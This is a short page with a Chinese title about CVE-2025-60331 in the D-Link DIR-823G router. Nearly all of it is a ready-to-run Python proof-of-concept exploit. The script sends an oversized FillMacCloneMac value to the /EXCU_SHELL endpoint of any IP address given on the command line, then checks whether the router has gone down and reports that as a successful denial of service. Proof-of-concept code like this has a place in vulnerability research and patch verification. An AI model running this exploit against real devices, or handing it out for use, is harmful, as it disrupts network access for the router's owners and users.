CVE-2025-60331 D-Link DIR-823G 缓冲区溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-60331 PoC - D-Link DIR-823G Buffer Overflow in FillMacCloneMac Target: D-Link DIR-823G A1 v1.0.2B05 Vulnerability: Buffer overflow in /EXCU_SHELL endpoint (FillMacCloneMac parameter) Impact: Denial of Service """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in FillMacCloneMac parameter. Sends an oversized payload to trigger stack overflow. """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/EXCU_SHELL" # Generate oversized payload to trigger buffer overflow # The exact overflow length depends on the buffer size in the firmware overflow_length = 1024 # Adjust based on target firmware analysis malicious_payload = "A" * overflow_length # Construct the malicious request with oversized FillMacCloneMac parameter data = { "FillMacCloneMac": malicious_payload, "macclone": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60331-PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(malicious_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") # Check if target is still responsive check_url = f"http://{target_ip}:{target_port}/" try: health_check = requests.get(check_url, timeout=5) print("[-] Target still responsive - exploit may have failed") except requests.exceptions.RequestException: print("[+] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - Connection error (target may be down): {e}") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-60331 D-Link DIR-823G Buffer Overflow PoC") print("=" * 60) exploit(target, port)